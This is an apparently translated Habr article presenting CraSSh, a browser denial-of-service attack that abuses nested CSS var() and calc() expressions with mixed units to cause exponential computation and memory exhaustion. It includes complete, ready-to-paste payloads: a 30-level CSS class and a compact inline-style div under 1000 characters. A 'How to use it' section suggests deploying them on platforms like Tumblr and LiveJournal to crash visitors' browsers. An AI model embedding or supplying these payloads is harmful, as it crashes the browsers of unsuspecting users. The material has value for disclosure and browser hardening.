📜 ⬆️ ⬇️

CraSSh: breaking all modern browsers with CSS calculations

Article author: Konstantin Safonov

I do not want to read this technical chatter. Just poured my browser already.

What is CraSSh


CraSSh is a cross-browser, purely declarative DoS attack, based on the poor processing of the nested CSS functions var() and calc() in modern browsers.
')
CraSSh is valid in all major browsers on desktops and mobile devices:


IE browser is not affected, because it does not support the functions on which the attack is based, but its users have many problems of their own (probably, this browser can be destroyed in other ways - note. Lane) .

How it works


CraSSh's idea is to force the browser to compute a CSS property with nested variable calls for exponential time and with huge memory usage.

The attack relies on three CSS functions:

CSS Variables ( custom properties and var () )

They allow you to declare: assign and read variables:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


Variables do not allow recursion (although there was a bug in WebKit that caused infinite recursion) or loops, but they can be defined as

calc () expressions

The calc () expressions allow you to perform some basic arithmetic operations when describing rules, for example, 'width: calc(50% - 10px)' .

calc() allows you to reference variables and use multiple values ​​in a single expression:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


This allows:


 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


It is as if it should be calculated in exponential time, but modern browsers are a bit smarter, so they usually calculate the values ​​of variables once, reducing the complexity to linear. The trick is that caching of variable values ​​does not occur if it has

heterogeneous value

Technically, this is part of calc() , but it deserves a separate mention. A heterogeneous variable contains both absolute and relative units. It can not be:


Thus, this value is recalculated every time:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

As for the second point, most browsers simply embed nested variables with a heterogeneous value in one expression to avoid rounding errors:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

Imagine that there are millions (or billions) of elements in the expression ... The CSS engine is trying to allocate several gigabytes of RAM, shorten the expression, add event handlers so that the properties can be recalculated when something changes. In the end, it happens at a certain stage.

So, the original CraSSh looked:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

But the built-in version is less than 1000 characters (MediaWiki for the demonstration).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

How to use it


In addition to driving users away from their own website or blog on a platform that gives full access to HTML, like Tumblr ( an example of a browser crash ) or LiveJournal ( an example of a browser crash ), CraSSh allows you to:



Why is it done



Similar things


Now I am involved in an amazing project, which we will discuss later. Follow the news on Twitter .

Special thanks to


Source: https://habr.com/ru/post/431656/


All Articles